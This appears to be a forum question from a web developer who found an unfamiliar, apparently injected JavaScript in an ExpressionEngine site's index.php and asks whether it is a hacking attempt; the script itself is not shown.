I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script...
